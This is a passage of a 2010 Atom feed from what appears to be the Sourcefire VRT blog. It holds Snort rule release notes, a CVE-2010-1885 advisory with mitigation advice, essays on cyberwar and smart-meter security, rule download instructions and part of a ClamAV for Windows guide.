href='http://vrt-blog.snort.org/feeds/3920163861948457385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3920163861948457385' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3920163861948457385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3920163861948457385'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/new-rule-categories.html' title='New Rule Categories'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5616702309636964365</id><published>2010-07-13T17:32:00.002-04:00</published><updated>2010-07-13T17:33:52.398-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Rule Release for Today, Tuesday July 13th, 2010</title><content type='html'>&lt;p&gt;Microsoft Security Advisory MS10-042:&lt;/p&gt;&lt;p&gt;Microsoft Help and Support Center contains a programming error that may  allow a remote attacker to bypass security restrictions on an affected system. The error occurs when invalid hex-encoded characters are used as a parameter to a search query using the hcp:// URI schema.&lt;/p&gt;&lt;p&gt;Microsoft Security Advisory MS10-043:&lt;/p&gt;&lt;p&gt;The Microsoft Canonical Display Driver (cdd.dll) contains a programming error that may allow a remote attacker to execute code on a vulnerable system.&lt;/p&gt;&lt;p&gt;Microsoft Security Advisory MS10-044:&lt;/p&gt;&lt;p&gt;Microsoft Access contains mulitple vulnerabilities that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p&gt;Microsoft Security Advisory MS10-045:&lt;/p&gt;&lt;p&gt;Microsoft Outlook contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p&gt;Additionally, this release introduces three new rule groups, botnet-cnc.rules, blacklist.rules and phishing-spam.rules. These rule groups represent a decentralization of existing coverage from spyware-put.rules and specific-threats.rules. The rules themselves are gleaned from honeypot and malware data collected by the Sourcefire VRT.﻿&lt;/p&gt;&lt;p&gt;As always, details are available here: &lt;a href="http://www.snort.org/vrt/advisories/2010/07/13/vrt-rules-2010-07-13.html/"&gt;http://www.snort.org/vrt/advisories/2010/07/13/vrt-rules-2010-07-13.html/&lt;/a&gt;&lt;/p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5616702309636964365?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5616702309636964365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5616702309636964365' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5616702309636964365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5616702309636964365'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/rule-release-for-today-tuesday-july.html' title='Rule Release for Today, Tuesday July 13th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8011399763489814828</id><published>2010-07-08T11:14:00.001-04:00</published><updated>2010-07-08T11:14:21.965-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Exploiting'/><title type='text'>Fundamentals of Exploit Development Class in VEGAS!</title><content type='html'>&lt;p&gt;Need some more exploit fun? Want to stay in Vegas a little longer? Need some face time with the VRT? We are holding the fundamentals of exploit development class right after DefCon this year. August 2nd, 3rd and 4th in Las Vegas, NV.&lt;/p&gt;&lt;p&gt;For more details and to book your place, take a look at &lt;a href="http://www.sourcefire.com/services/education/schedule/"&gt;http://www.sourcefire.com/services/education/schedule/﻿&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8011399763489814828?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8011399763489814828/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8011399763489814828' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8011399763489814828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8011399763489814828'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/fundamentals-of-exploit-development.html' title='Fundamentals of Exploit Development Class in VEGAS!'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2976775406271531703</id><published>2010-07-07T15:58:00.001-04:00</published><updated>2010-07-08T10:12:03.716-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ClamAV'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2010-1885'/><title type='text'>Increase in attacks on CVE-2010-1885</title><content type='html'>Microsoft is warning that there has been an increase of attacks against a zero-day vulnerability in Microsoft Help and Support Center. The vulnerability is due to an error when using invalid hexadecimal characters in the search topic parameter of a URI. It can be used to bypass restrictions normally imposed by a command-line argument to load arbitrary help documents. Proof-of-concept code has been available since at least mid-June and has been proven to work with Windows XP, and Windows Server 2003, other versions may also be affected. While a patch is still not available, you should plan on patching as soon as one is. In the meantime, be careful or better, unregister the HCP protocol (manually, or by using &lt;a href="http://support.microsoft.com/kb/2219475"&gt;this tool&lt;/a&gt; provided by Microsoft). However, doing so will break all local links that use hcp:// such as links in the Control Panel.&lt;br /&gt;&lt;br /&gt;Snort coverage for CVE-2010-1885 is provided by sid 16665 while ClamAV signature BC.Exploit.CVE_2010_0815 will detect attacks leveraging this vulnerability.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2976775406271531703?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2976775406271531703/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2976775406271531703' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2976775406271531703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2976775406271531703'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/increase-in-attacks-on-cve-2010-1885.html' title='Increase in attacks on CVE-2010-1885'/><author><name>Alain Zidouemba</name><uri>http://www.blogger.com/profile/12186945673160140627</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4141077451449013571</id><published>2010-07-07T14:19:00.001-04:00</published><updated>2010-07-07T14:40:39.678-04:00</updated><title type='text'>Yes, Virginia, There is Cyberwar</title><content type='html'>DEAR EDITOR:&lt;br /&gt;&lt;br /&gt;I have been in security for 8 years. &amp;nbsp;Some of my friends say there is no such thing as cyberwar. &amp;nbsp;My manager says, "If you see it on the VRT Blog then it's so" &amp;nbsp;Please tell me the truth; is there cyberwar?&lt;br /&gt;&lt;br /&gt;Virginia O'Hanlon.&lt;br /&gt;115 West Ninety-Fifth Street.&lt;br /&gt;&lt;hr /&gt;Virginia,&lt;br /&gt;&lt;br /&gt;Your friends are wrong. &amp;nbsp;They have been affected by the skepticism of a skeptical age. &amp;nbsp;They do not believe except what they see. &amp;nbsp;They think that nothing can be which is not comprehensible by their minds. &amp;nbsp;All minds, Virginia, are closed.&lt;br /&gt;&lt;br /&gt;Yes, Virginia, there is cyberwar. &amp;nbsp;It exists as certainly as espionage, defacing and cybercrime exist, and you know that they abound and are a threat. &amp;nbsp;Alas! &amp;nbsp;Whenever there is a means for man to do ill to &amp;nbsp;his fellow man, that capability will be developed.&lt;br /&gt;&lt;br /&gt;Not believe in Cyberwar! &amp;nbsp;You might as well not believe in enemies! &amp;nbsp;You might get your manager to hire people to watch all the inbound connections every day to catch the enemy, but even if they did not see them, what would that prove? &amp;nbsp;When they are at their best, nobody sees the enemy. &amp;nbsp;The most real and dangerous thing in the world are those that no one can see. &amp;nbsp;Did you ever see a keystroke logger on your system? &amp;nbsp;Probably not, but that's no proof that it is not there. &amp;nbsp;Nobody can conceive or imagine all the threats that are unseen and unseeable in the world.&lt;br /&gt;&lt;br /&gt;Cyberwar is many things, Virginia, and sometimes we need to connect the dots to understand what is possible. &amp;nbsp;Have we ever been denied electricity by a foreign power? &amp;nbsp;No (we think). &amp;nbsp;But we know that networks can be penetrated, servers can be compromised and we even know that generators can be destroyed simply by instructions from control servers. &amp;nbsp;We also know that there are those who would seek to harm us. &amp;nbsp;So yes, Virginia, there is cyberwar.&lt;br /&gt;&lt;br /&gt;But Virginia, an understanding that something is possible is not a license to let that thing dictate your life. &amp;nbsp;We need to recognize the threat, however unlikely, that cyberwar presents. &amp;nbsp;But not so that we can panic, cry and beg our leaders to give themselves more power. &amp;nbsp;Instead we need to understand the threat so we can improve our defenses and ensure that, if it were to occur, we would have a plan in place to deal with it.&lt;br /&gt;&lt;br /&gt;We are right to look with skepticism when our leaders show us a problem and then present a solution that empowers them further. &amp;nbsp;We must never (again) allow our fear to weaken us to the point that we transfer all responsibility to our government. &amp;nbsp;A people without responsibility are a people without freedom. &amp;nbsp;Instead we must ensure that we all do our part, because if it comes to pass that a substantial cyber-attack does occur, we will all be responsible for helping to mitigate it. &amp;nbsp;But we must also hold our leaders in check; we must hold them accountable and ensure that they are prepared. &amp;nbsp;Yes, Virginia, it is a difficult balance, but it is one we must strike.&lt;br /&gt;&lt;br /&gt;No cyberwar! &amp;nbsp;God, were that that was true. &amp;nbsp;It exists, and most likely will exist for as long as we are online. &amp;nbsp;A thousand years from now, Virginia, nay ten times ten thousand years from now, cyberwar will continue to be a threat. &amp;nbsp;But it is not a threat without checks and it is not an excuse for weakness and panic.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4141077451449013571?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4141077451449013571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=4141077451449013571' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4141077451449013571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4141077451449013571'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/yes-virginia-there-is-cyberwar.html' title='Yes, Virginia, There is Cyberwar'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-9199681292899660553</id><published>2010-07-01T16:51:00.001-04:00</published><updated>2010-07-01T16:51:54.684-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Thursday July 1st, 2010</title><content type='html'>&lt;p&gt;Remote code execution in Adobe Acrobat and Reader. Some folks are claiming it's a denial of service, heh, right. RCE is possible, get your rules here:&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.snort.org/vrt/advisories/2010/07/01/vrt-rules-2010-07-01.html/"&gt;http://www.snort.org/vrt/advisories/2010/07/01/vrt-rules-2010-07-01.html/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-9199681292899660553?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/9199681292899660553/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=9199681292899660553' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9199681292899660553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9199681292899660553'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/rule-release-for-today-thursday-july.html' title='Rule Release for Today, Thursday July 1st, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3808313242159515474</id><published>2010-06-29T16:46:00.002-04:00</published><updated>2010-06-29T16:47:34.737-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday June 29th, 2010</title><content type='html'>&lt;p&gt;We added and modified multiple rules in the backdoor, dos, exploit, misc, multimedia, netbios, oracle, pop3, rpc, specific-threats, web-activex, web-client and web-misc rule sets﻿.&lt;/p&gt;&lt;p&gt;Information is here: &lt;a href="http://www.snort.org/vrt/advisories/2010/06/29/vrt-rules-2010-06-29.html/"&gt;http://www.snort.org/vrt/advisories/2010/06/29/vrt-rules-2010-06-29.html/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3808313242159515474?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/3808313242159515474/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3808313242159515474' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3808313242159515474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3808313242159515474'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/rule-release-for-today-tuesday-june.html' title='Rule Release for Today, Tuesday June 29th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6414856545322145485</id><published>2010-06-28T16:21:00.003-04:00</published><updated>2010-06-30T16:07:02.695-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>IMPORTANT Rule Download Change</title><content type='html'>&lt;p&gt;Today the Snort Web Team made a change to the way that Snort rules are downloaded from snort.org. Hopefully this will result in faster downloads for most people. The changes are highlighted below:&lt;/p&gt;&lt;p&gt;We are changing the way we publish rules. In June 2010 we stopped offering rules in the "snortrules-snapshot-CURRENT" format. Instead, rules are released for specific versions of Snort. You will be responsible for downloading the correct rules release for your version of Snort. The new versioning mechanism will require a four digit version in the file name. For the Subscriber and Registered releases of Snort 2.8.6.0 and Snort 2.8.5.3, the download links would look as follows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Subscriber Release:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;http://www.snort.org/sub-rules/snortrules-snapshot-2860.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23&lt;br /&gt;&lt;br /&gt;http://www.snort.org/sub-rules/snortrules-snapshot-2853.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Registered User Release:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;http://www.snort.org/reg-rules/snortrules-snapshot-2860.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23&lt;br /&gt;&lt;br /&gt;http://www.snort.org/reg-rules/snortrules-snapshot-2853.tar.gz/43f45cd452456094ac7e3ae58b12d256fa3d2f23&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Configuring Oinkmaster:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;In order to use Oinkmaster to update Snort with VRT rules you must edit oinkmaster.conf.&lt;br /&gt;&lt;br /&gt;In the oinkmaster.conf modify "url" to:&lt;br /&gt; &lt;br /&gt;url = http://www.snort.org/pub-bin/oinkmaster.cgi/&amp;lt;oinkcode here&amp;gt;/&amp;lt;filename&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Important Note:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;As noted above, the CURRENT and 2.8 naming conventions have been deprecated as of June 2010 for oinkmaster downloads. You are responsible for updating your oinkmaster.conf file to reflect your installed version of Snort. Continued attempts to download outdated versions will result in being banned. Example for snort 2.8.6.0:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;url = http://www.snort.org/pub-bin/oinkmaster.cgi/43f45cd452456094ac7e3ae58b12d256fa3d2f23/snortrules-snapshot-2860.tar.gz&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Example for snort 2.8.5.3:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;url = http://www.snort.org/pub-bin/oinkmaster.cgi/43f45cd452456094ac7e3ae58b12d256fa3d2f23/snortrules-snapshot-2853.tar.gz&lt;br /&gt;﻿&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6414856545322145485?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6414856545322145485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6414856545322145485' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6414856545322145485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6414856545322145485'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/important-rule-download-change.html' title='IMPORTANT Rule Download Change'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7719555962390577530</id><published>2010-06-26T12:20:00.001-04:00</published><updated>2010-06-28T10:43:08.671-04:00</updated><title type='text'>Smart Grids and the Importance of Smart Security Choices</title><content type='html'>I got a flyer in my mail a couple of days ago, telling me that my local utility company would be coming out soon to install a smart meter on my house. Like most customers, I didn't think too much about it, until the new meter was installed today. That's when my curiosity got the better of me - even though I arrived home after dark, I had to go take a look at the shiny new toy on the side of my house.&lt;br /&gt;&lt;br /&gt;At first glance, it was somewhat disappointing. The rusty old box surrounding the meter (which has probably been there since the house was built in 1942) hadn't been replaced. Sure, the new meter had a nice little LED, and I even saw a kWh reading flash by...but it was still a meter, nothing too exciting. There was, however, a prominent display of the manufacturer's name - Elster - and a model number, R2SD (commonly known as REX2), off in the corner. "Hmmm," I thought. "I should go Google that. I wonder what protocol it speaks?"&lt;br /&gt;&lt;br /&gt;My search immediately turned up a link to a &lt;a href=www.ic.gc.ca/pics/lm/electric/ae/1579r1.pdf&gt;Canadian regulatory document&lt;/a&gt; approving the use of this type of meter in the country. Reading through it, I immediately turned up some security red flags:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;"The REX2 meter is equipped with 900MHz radio frequency communications..."&lt;/li&gt;&lt;li&gt;"...the meter has the ability to update the communications firmware remotely."&lt;/li&gt;&lt;li&gt;"When the meter is registered to the local area network (LAN) it may display a registration number of the collector."&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Doomsday scenarios immediately began popping into my head. 900MHz is an open, easily accessed frequency here in the United States; what is there to prevent pranksters, criminals, or even Google Street View cars from accessing my meter while they drive down the street? Hacking programmable road signs to &lt;a href=http://news.cnet.com/8301-13772_3-10149229-52.html&gt;warn of "Zombies Ahead"&lt;/a&gt; was funny; somebody coming along and making my meter tell the power company to up the voltage could mean my house burns down. The remote kill ability cheerly advertised in the flyer sent by the power company as a "feature" could easily be abused to whack power to entire neighborhoods with a few keyboard strokes. Oh, and what if someone uploaded a malicious new piece of firmware to my power meter, and ended up with complete control of the electricity coming into my house - or worse yet, used my meter as an access point to break into the larger electrical grid?&lt;br /&gt;&lt;br /&gt;Digging a little further, I got a little reassurance when I found my meter's &lt;a href=http://www.elstermetering.com/en/913.html&gt;specifications page&lt;/a&gt;, which, handily enough, included a "Security" tab at the bottom. It seems that these meters use 128-bit AES encryption when talking to the &lt;a href=http://www.energyaxis.com/ea-home.asp&gt;Energy Axis&lt;/a&gt; network, which is in use by my utility company for transferring data to and from these new smart meters. That proves that the manufacturers are at least &lt;b&gt;thinking&lt;/b&gt; about security, and provides a moderate barrier to entry for anyone trying to tamper with the system.&lt;br /&gt;&lt;br /&gt;The data transmission itself uses the &lt;a href=http://en.wikipedia.org/wiki/ZigBee_specification&gt;ZigBee protocol&lt;/a&gt; - which, surprisingly enough, is an open standard, freely available to anyone who wants to wade through a 604-page brick of a specification. Since digesting that will take some time, I decided to simply read the Wikipedia article instead, which again had a handy security-related section. The initial sentence there was great:&lt;br /&gt;&lt;br /&gt;"As one of its defining features, ZigBee provides facilities for carrying out secure communications, protecting establishment and transport of cryptographic keys, cyphering frames and controlling devices."&lt;br /&gt;&lt;br /&gt;Wow! Security built right in - how great is that? &lt;br /&gt;&lt;br /&gt;Well, as it turns out...not so great. Things went from bad:&lt;br /&gt;&lt;br /&gt;"This part of the architecture relies on the correct management of symmetric keys and the correct implementation of methods and security policies."&lt;br /&gt;&lt;br /&gt;...to worse:&lt;br /&gt;&lt;br /&gt;"Keys are the cornerstone of the security architecture; as such their protection is of paramount importance, and keys are never supposed to be transported through an insecure channel. There is a momentary exception to this rule, which occurs during the initial phase of the addition to the network of a previously unconfigured device."&lt;br /&gt;&lt;br /&gt;Yes, that's right, folks: this protocol sends its encryption keys over the network in plaintext when it starts up for the first time. I know, I know, the window of opportunity is maybe 30 seconds...but really, you couldn't think of some way to avoid sending the keys to the kingdom over an insecure channel, even if it is only once?&lt;br /&gt;&lt;br /&gt;Still, I'll take an open standard whose creators at least had security in mind when they wrote it over one of the myriad closed, poorly documented SCADA protocols in use throughout the utility industry, where devices will happily reply to any query without a hint of authentication and the entire network is assumed to be safe. Some security is better than no security at all.&lt;br /&gt;&lt;br /&gt;Given the inevitability of the smart grid - not only is it being hyped by politicians of every stripe, my power company's FAQs tell me that I could not have opted out even if I had wanted to - we clearly can no longer rely on the typical SCADA security model of "don't plug it into the Internet and we'll be cool." Networked toasters may not be here yet, but networked power is, and the people who run these systems need to be thinking long and hard about security, and making sure that they implement it as intelligently as possible. Let's make sure that we, as both the general public and the security industry, keep our eyes on these folks as more and more networked utilities roll out - because after all, what good are your firewall, IDS, and AV systems if you lose power to all of your machines?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7719555962390577530?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7719555962390577530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7719555962390577530' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7719555962390577530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7719555962390577530'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/06/smart-grids-and-importance-of-smart.html' title='Smart Grids and the Importance of Smart Security Choices'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-1016829649837011627</id><published>2010-06-22T12:18:00.001-04:00</published><updated>2010-06-22T16:23:50.398-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ClamAV'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware'/><title type='text'>ClamAV for Windows</title><content type='html'>&lt;p&gt;Recently, we released the only official Windows-specific version of ClamAV, appropriately called &lt;b&gt;ClamAV for Windows&lt;/b&gt; (&lt;a href="http://www.clamav.net/lang/en/about/win32/"&gt;http://www.clamav.net/lang/en/about/win32/&lt;/a&gt;). It is designed to use little memory and processing speed because it uses an advanced cloud-based protection mechanism, best of all it's free (as in free beer. Ummm...beeeeer). If you haven't tried it yet, I really encourage you to.&lt;/p&gt;&lt;div&gt;You can download ClamAv for Windows from here: &lt;a href="http://www.clamav.net/lang/en/about/win32/"&gt;http://www.clamav.net/lang/en/about/win32/&lt;/a&gt; or by going to a site like download.com and typing "clamav" in the search box. There are 2 installers available: a 32-bit version and a 64-bit version. If you don't know which one to choose for your Windows operating system, you can check this page &lt;a href="http://support.microsoft.com/kb/827218"&gt;http://support.microsoft.com/kb/827218&lt;/a&gt;. It will tell you if you are running a 32-bit or 64-bit of Windows. If that's too complicated, just start by downloading the 64-bit version. If you have a 64-bit operating system, you will get a speed boost from running the 64-bit version of ClamAV for Windows. If it turns out that you are running a 32-bit version of Windows, don't worry, executing the 64-bit installer will generate this warning:&lt;/div&gt;&lt;div&gt;&lt;a href="http://labs.snort.org/images/clamav64_setup_fail.png"&gt;&lt;img src="http://labs.snort.org/images/clamav64_setup_fail.png" alt="64-bit warning" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Pic.1: Wrong installer version&lt;/div&gt;&lt;div&gt;That will be your cue to grab the 32-bit installer instead :-)&lt;/div&gt;&lt;div&gt;In the last step of the installation process, you can opt to perform a recommended initial FlashScan. A FlashScan is not as comprehensive as a full scan but is designed to be a quick check for your system to see if you have any malware running in memory. The last screen in the installation process will also ask whether you want to share that you installed ClamAV for Windows with your Facebook friends or your Twitter followers. The more people that run ClamAV for Windows, the better the protection. Every time a ClamAV for Windows user encounters a new threat, all other users are protected from that same threat in real-time.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;So, now that you've installed ClamAV for Windows and run a FlashScan. You are now looking at the Scan tab. The results of the scan you just performed are displayed on the left hand side and on the right hand side you have Scan Options. Leave them set to "on" in order for future scans to look at running processes and at locations where malware can hide in order to be run every time you turn your computer on.&lt;/div&gt;&lt;div&gt;&lt;a href="http://labs.snort.org/images/flash_scan.png"&gt;&lt;img src="http://labs.snort.org/images/flash_scan.png" alt="flashscan" width="400" height="250" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Pic.2: FlashScan&lt;/div&gt;&lt;div&gt;Under the "Settings" tab, you can choose to turn off some of the layers of protection that the software provides. Unless you have a good reason to do that, I recommend you keep everything set to "on".&lt;/div&gt;&lt;div&gt;&lt;a href="http://labs.snort.org/images/settings.png"&gt;&lt;img src="http://labs.snort.org/images/settings.png" alt="settings" width="400" height="250" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Pic.3: Settings tab&lt;/div&gt;&lt;div&gt;Under the "History" scan, you can review the different scans that were performed on the 